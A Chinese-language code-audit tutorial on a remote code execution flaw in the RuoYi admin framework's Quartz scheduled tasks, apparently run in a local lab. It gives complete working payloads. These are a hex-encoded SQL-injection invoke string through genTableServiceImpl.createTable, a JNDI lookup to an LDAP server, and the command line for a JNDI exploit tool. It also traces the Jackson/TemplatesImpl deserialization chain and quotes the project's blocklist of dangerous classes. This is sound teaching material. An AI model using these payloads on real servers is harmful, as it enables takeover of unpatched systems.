从零开始的对若依后台定时任务 RCE 研究
从零开始的对若依后台定时任务 RCE 研究
前言
本文仅用于安全技术研究与交流。文中所有实验均在本地自建环境中完成,未针对任何线上系统,也未使用任何未授权目标的数据。
读者因将本文技术用于非法用途所产生的一切后果,由使用者自行承担,与作者无关。转载请注明作者与原文链接;禁止用于商业用途。
笔者在初学代码审计以及 Java 安全时,苦于找不到适合自己的教程,因而自己决定写一份面向完全初学者的审计教程,以便帮助需要的人。
本次以若依版本 V4.7.8 为例(该漏洞的适用范围 <= 4.7.8),简要地研究一下由定时任务引起的远程代码执行,具体环境的部署详见 https://doc.ruoyi.vip/,本文使用 IDEA 进行调试。
关键字:代码审计 / Java 安全 / 若依 RuoYi / Quartz 定时任务 / 反射调用 / SQL 注入 / JNDI 注入 / LDAP / 反序列化 / Jackson / TemplatesImpl
从添加一个正常的定时任务开始
访问漏洞的功能点,新增一个任务,按照页面上的示例随便创建一个正常的任务:

按下 F12 打开开发者工具,切换到网络选项卡,随后点击确定添加任务,即可观察到接口 /monitor/job/add。
接下来在刚刚添加的接口处选择 更多操作 -> 执行一次,可以观察到另一个接口 /monitor/job/run。
这两个接口就是我们的起点。在 IDEA 中按下 Ctrl+Shift+F 进行全局搜索,我们搜索 /monitor/job,定位到对应的文件 SysJobController.java:

随后我们就可以开始分析了。
/monitor/job/add 接口的分析
在进行分析前,我们尝试直接注入恶意的payload,如 java.lang.Runtime.getRuntime().exec("calc"):

可以看到创建失败,显然这里并不会那么简单。我们回到 IDEA,观察对应的接口 /add:

我们重点观察最后的两个 if:
else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), Constants.JOB_ERROR_STR))
{
return error("新增任务'" + job.getJobName() + "'失败,目标字符串存在违规");
}
else if (!ScheduleUtils.whiteList(job.getInvokeTarget()))
{
return error("新增任务'" + job.getJobName() + "'失败,目标字符串不在白名单内");
}
鼠标移动到 Constants.JOB_ERROR_STR,Ctrl+左键,我们得到了它的内容:
public static final String[] JOB_ERROR_STR = { "java.net.URL", "javax.naming.InitialContext", "org.yaml.snakeyaml","org.springframework", "org.apache", "com.ruoyi.common.utils.file", "com.ruoyi.common.config" };
显然,这是一个黑名单列表,但我们尝试的 payload 为 java.lang.Runtime.getRuntime().exec("calc"),这里并没有出现它们的踪影。我们查看下一个判断条件,利用同样的方法,定位到 ScheduleUtils.whitelist 方法:
/**
* 检查包名是否为白名单配置
*
* @param invokeTarget 目标字符串
* @return 结果
*/
public static boolean whiteList(String invokeTarget)
{
String packageName = StringUtils.substringBefore(invokeTarget, "(");
int count = StringUtils.countMatches(packageName, ".");
if (count > 1)
{
return StringUtils.containsAnyIgnoreCase(invokeTarget, Constants.JOB_WHITELIST_STR);
}
Object obj = SpringUtils.getBean(StringUtils.split(invokeTarget, ".")[0]);
String beanPackageName = obj.getClass().getPackage().getName();
return StringUtils.containsAnyIgnoreCase(beanPackageName, Constants.JOB_WHITELIST_STR)
&& !StringUtils.containsAnyIgnoreCase(beanPackageName, Constants.JOB_ERROR_STR);
}
不难看出,这里是一个白名单校验的方法。我们检查 Constants.JOB_WHITELIST_STR,发现它的值为 { "com.ruoyi" },这意味着对于定时任务这个功能,它只允许调用隶属于 com.ruoyi 下的方法。
绕过检查的 SQL 注入
既然只要尝试添加任务,就必须经过黑白名单校验,意味着我们需要在源代码中找到可能可以操作任务的方法。
我们都清楚,利用数据库进行数据存储是再正常不过的事情,哪怕是定时任务,它应该也是对数据库进行操作的才对,那么是否存在 SQL 注入的方法直接设置定时任务?
我们利用全局搜索,搜索 ${ 这个关键词,然后找到了一个看起来很有希望的地方:

这条语句的 id 是 createTable。MyBatis 的 Mapper 通过 namespace 绑定接口,看文件开头的声明即可确认它对应哪个接口:

Ctrl+左键,我们定位到了 GenTableMapper.java,里面确实存在着一个 createTable 方法,需要一个名为 sql 的字符串。而最重要的是,它完全符合条件(属于 com.ruoyi 的包),我们完全可以利用这个方法进行 SQL 注入,来实现恶意命令的注入。
为什么要搜索这个字符串
MyBatis 中
${}会被原样拼接进 SQL 字符串,#{}则走预编译占位。这意味着如果我们想要在项目中寻找注入点,搜索${将会变得十分有效。
现在,登录数据库(这里为 MySQL),执行以下的语句:
use ry;
show tables;

我们看到了一个名为 sys_job 的表,我们尝试读取:
select * from sys_job;

看起来定时任务就是存储在这个表中,那么我们可以尝试构造如下 SQL:
UPDATE sys_job SET invoke_target = "java.lang.Runtime.getRuntime().exec('exec')" WHERE job_id = 18;
为了避免引号嵌套导致的语法错误,在 MySQL 中可以将值修改为 16 进制形式,它将会自动进行转换,也就是把 java.lang.Runtime.getRuntime().exec("calc") 转换为 16 进制,结果为:
0x6a6176612e6c616e672e52756e74696d652e67657452756e74696d6528292e65786563282263616c632229
那么最终的调用字符串为(在这里,job_id 为你想要替换命令的 id):
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a6176612e6c616e672e52756e74696d652e67657452756e74696d6528292e65786563282263616c632229 WHERE job_id = 18;')
利用这个语句:

成功修改 id 为 18 的调用字符串。

那么我们的目标似乎已经达到了?对于利用 SQL 注入得到的定时任务,我们选择 更多操作 -> 执行一次,那么就能弹出计算器了?但是事实上什么也没有发生。
失败的原因?
我们点击页面的日志,提示了失败,我们点击详情:

为了搞清楚发生了什么,我们必须对 /monitor/job/run 接口进行分析。
/monitor/job/run 接口的分析
我们定位到 SysJobController.java 的 run 方法,可以看到调用了 jobService.run(job) 方法:
/**
* 任务调度立即执行一次
*/
@Log(title = "定时任务", businessType = BusinessType.UPDATE)
@RequiresPermissions("monitor:job:changeStatus")
@PostMapping("/run")
@ResponseBody
public AjaxResult run(SysJob job) throws SchedulerException
{
boolean result = jobService.run(job);
return result ? success() : error("任务不存在或已过期!");
}
跟进,调用了 scheduler.triggerJob(job) 方法:
/**
* 立即运行任务
*
* @param job 调度信息
*/
@Override
@Transactional(rollbackFor = Exception.class)
public boolean run(SysJob job) throws SchedulerException
{
boolean result = false;
Long jobId = job.getJobId();
SysJob tmpObj = selectJobById(job.getJobId());
// 参数
JobDataMap dataMap = new JobDataMap();
dataMap.put(ScheduleConstants.TASK_PROPERTIES, tmpObj);
JobKey jobKey = ScheduleUtils.getJobKey(jobId, tmpObj.getJobGroup());
if (scheduler.checkExists(jobKey))
{
result = true;
scheduler.triggerJob(jobKey, dataMap);
}
return result;
}
不难看出,这里从数据库中取出 jobid 对应的 job,然后执行 scheduler.triggerJob(jobKey, dataMap) 方法。继续跟进,我们可以看到这里有三个实现:

我们对其打上断点,然后回到 web 端随便执行一个任务,可以看到最后是来自 StdScheduler.class 的方法被执行:

最后我们来到了 QuartzScheduler.class 文件,对应的代码为:
public void triggerJob(JobKey jobKey, JobDataMap data) throws SchedulerException {
this.validateState();
OperableTrigger trig = (OperableTrigger)TriggerBuilder.newTrigger().withIdentity(this.newTriggerId(), "DEFAULT").forJob(jobKey).build();
trig.computeFirstFireTime((Calendar)null);
if (data != null) {
trig.setJobDataMap(data);
}
boolean collision = true;
while(collision) {
try {
this.resources.getJobStore().storeTrigger(trig, false);
collision = false;
} catch (ObjectAlreadyExistsException var6) {
trig.setKey(new TriggerKey(this.newTriggerId(), "DEFAULT"));
}
}
this.notifySchedulerThread(trig.getNextFireTime().getTime());
this.notifySchedulerListenersSchduled(trig);
}
这段代码建立了一个 trigger,并且使用 notifySchedulerThread 通知 Quartz 调度线程,使用 notifySchedulerListenersSchduled 通知 Listener 一个 Trigger 已被调度。
什么是 Quartz
Quartz 框架是一个全功能、开源的任务调度服务,可以集成几乎任何的 Java 应用程序——从小的单片机系统到大型的电子商务系统。Quartz 可以执行上千上万的任务调度。
Quartz 的设计概念有三种:调度器、任务和触发器。
调度器(Scheduler):Quartz 框架的核心组件是调度器。调度器负责管理 Quartz 应用的运行时环境。调度器并非独立完成全部工作,而是依赖框架内若干关键组件协同实现。Quartz 的职责不限于线程与线程池管理;为保障可伸缩性,Quartz 采用了基于多线程的架构。框架在启动时会初始化一组工作线程,供调度器执行预定作业使用。这正是 Quartz 能够并发执行多个作业的实现原理。Quartz 通过一套松耦合的线程池管理组件来管理线程环境。
任务(Job):任务即开发者自行编写的业务逻辑,由 Quartz 负责调度并执行。
触发器(Trigger):触发器用于定义作业的调度规则,即作业何时开始执行、何时结束执行,以及以何种时间策略触发。
那么,显然我们得找到关于 Quartz 调用线程部分的代码。我们观察若依的项目结构,存在一个 ruoyi-quartz 的目录,而其子目录中存在一个 util(工具)目录,也许在这个目录里面我们可以找到想要的东西。全局搜索 execute,我们找到了位于 AbstractQuartzJob.java 的文件:

我们在 execute 方法打上断点,回到 web 端再次随便执行一个任务,看是否会在断点处停下,它确实停下了,证明确实这部分的代码就是我们要找的。

那么我们跟进 doExecute 方法:

如法炮制,打上断点,我们发现是 QuartzDisallowConcurrentExecution.java 的 doExecute 方法,它执行了 JobInvokeUtil.invokeMethod 方法:

继续跟进 invokeMethod 方法:

isValidClassName 方法只是单纯地检查输入的字符串中 . 的数量是否大于 1。我们开始输入的 java.lang.Runtime.getRuntime().exec("calc") 显然大于 1,因而会走 else 的分支,而这里我们终于得到了我们想要的答案:Class.forName(beanName) 得到的是 Runtime.class,而 Runtime 的构造器是私有的。通过普通的 Class.newInstance() 无法绕过这个访问限制,因此抛出 IllegalAccessException。
JNDI 注入
正确的执行 payload
在进行下一步分析前,先给出真正的触发反序列化的步骤:我们需要一个可以生成 JNDI 链接并启动后端相关服务的 JNDI 注入利用工具,这里采用的是 JNDI-Injection-Exploit-Plus,可以到 https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/ 下载。
打开终端,键入如下命令:
java -jar .\JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar -C calc -A 127.0.0.1
这将会在 127.0.0.1:1389 开放 LDAP 服务器,预期执行的命令是 calc,也就是打开计算器的命令。
我们利用上一节的方法进行 SQL 注入,但此时我们的 payload 为:
javax.naming.InitialContext.lookup('ldap://127.0.0.1:1389/deserialJackson')
也就是最终我们添加的任务为:
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3132372e302e302e313a313338392f646573657269616c4a61636b736f6e2729 WHERE job_id = 18;')
运行,可以看到编号 18 的任务变为了我们想要的命令:

随后我们执行一次命令,可以看到弹出了计算器:

javax.naming.InitialContext.lookup 做了什么?
在理解这个 payload 为什么能执行命令、JNDI 注入工具究竟做了什么前,需要先了解 javax.naming.InitialContext.lookup 究竟做了什么。
首先我们需要定位到 javax.naming.InitialContext.lookup 对应的函数。在 IDEA 中,在项目栏里找到外部库,并找到 rt.jar 进行展开:

随后寻找 javax/naming/InitialContext.java 这个文件,然后在这个文件中搜索 lookup,就能找到我们想要找的方法,我们对其打上断点:

随后回到 web 界面,选择刚刚的任务执行一次,可以看到确实停留在这个地方:

我们按下 F7 逐步执行代码,将会执行如下的触发链:
InitialContext#lookup("ldap://127.0.0.1:1389/deserialJackson") ← 受害者发起
└─ ldapURLContext#lookup(name) ← 按 scheme 分派给 LDAP 上下文
└─ GenericURLContext#lookup(name) ← 解析 URL 的剩余部分
└─ PartialCompositeContext#p_lookup() ← 进入复合上下文的实际查找
└─ ComponentContext#c_lookup() ← 定位到目标组件
└─ LdapCtx#c_lookup() ← 向 LDAP 服务器取回条目属性
└─ LdapCtx$Obj#decodeObject() ← 发现 javaSerializedData 属性
└─ LdapCtx$Obj#deserializeObject()
继续跟进,最终将会到达 ObjectInputStream.readObject(bytes),因篇幅有限,这里交给读者自行进行跟进。
从流程上来讲,在 web 界面点击了执行一次后,服务器将会对地址 ldap://127.0.0.1:1389/deserialJackson 进行查询,LDAP 服务器将会对其进行应答,把带有 javaSerializedData 属性的条目返回;而服务器得到响应后将会对其进行反序列化,随后执行触发链,最后触发命令执行。
反序列化触发链
接下来就是 payload 的第二个部分:在攻击者上运行的 LDAP 服务器,究竟将什么数据传给了受害者的服务器?
在进行这部分的分析前,笔者强烈建议阅读一些经典的反序列化触发链(如 CC1~CC6),这将会十分有帮助,如 https://www.cnblogs.com/LINGX5/collections/27252(作者 LINGX5)的审计过程就相当详细,非常值得阅读。
若依框架使用到了 Jackson 作为依赖,这是下文触发链的关键点之一。
这条链的作者为 Y4er,我们可以到 https://github.com/Y4er/ysoserial,找到对应的链(ysoserial.payloads.Jackson1.java)进行分析:

如果读者已经理解了 CC1~CC6 的触发链过程,那么就可以轻而易举的理解下面的触发流程:这里以 HashMap 为起点进入 BadAttributeValueExpException,对该对象执行 readObject 操作,随后执行 toString 操作,而 Jackson 的 POJONode 对象则是作为连接后面触发链的桥梁,最后成功执行了payload。其具体执行触发链为:
InitialContext.lookup("ldap://127.0.0.1:1389/deserialJackson")
→ com.sun.jndi.ldap.Obj.decodeObject() 发现 javaSerializedData
→ ObjectInputStream.readObject(bytes)
└ HashMap.readObject()
└ 反序列化 value:BadAttributeValueExpException.readObject()
└ valObj.toString()
└ BaseJsonNode.toString()
└ InternalNodeMapper.nodeToString(this)
└ STD_WRITER.writeValueAsString(node)
└ POJONode.serialize(gen, provider)
└ provider.defaultSerializeValue(_value, gen)
└ TemplatesImpl.getOutputProperties()
└ newTransformer()
└ getTransletInstance()
└ defineTransletClasses()
└ _class[_transletIndex].newInstance()
└ 执行 exec("calc")
对于读者而言,这里给出一些参考的断点,可以帮助进行快速定位:
javax.management.BadAttributeValueExpException#readObject → 定位到 val = valObj.toString();
com.fasterxml.jackson.databind.node.BaseJsonNode#toString
com.fasterxml.jackson.databind.node.InternalNodeMapper#nodeToString
com.fasterxml.jackson.databind.node.POJONode#serialize
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties
...TemplatesImpl#defineTransletClasses
java.lang.Runtime#exec
需要特别注意的坑
在笔者进行断点调试的时候,当进入
BadAttributeValueExpException的 readObject 方法时,将会碰到一个问题:
按照上面的触发链来看,理论上需要在下面的
val = valObj.toString();处才会进入下面的反序列化链,但实际操作上,在笔者上面打的断点Object valObj = gf.get("val", null);这条语句后,就会直接执行代码从而弹出计算器。这是因为 IDEA 的调试器在调试过程中,为了实时显示对象的值,会自动帮你调用toString()方法,从而导致了提前执行恶意代码的结果。因此,为了避免干扰,你需要做如下的操作:
在 IDEA 中,选择 文件 -> 设置,然后按下图关掉内联显示值:
关掉启用 toString 对象视图:
随后重新调试,这样就不会提前进行反序列化了。
结语
至此,这篇文章就此结束。笔者在开头说过,写这篇文章是因为自己初学时找不到合适的教程。如果它能让你少走一点弯路,那目的就达到了。如有错漏,欢迎指正。




浙公网安备 33010602011771号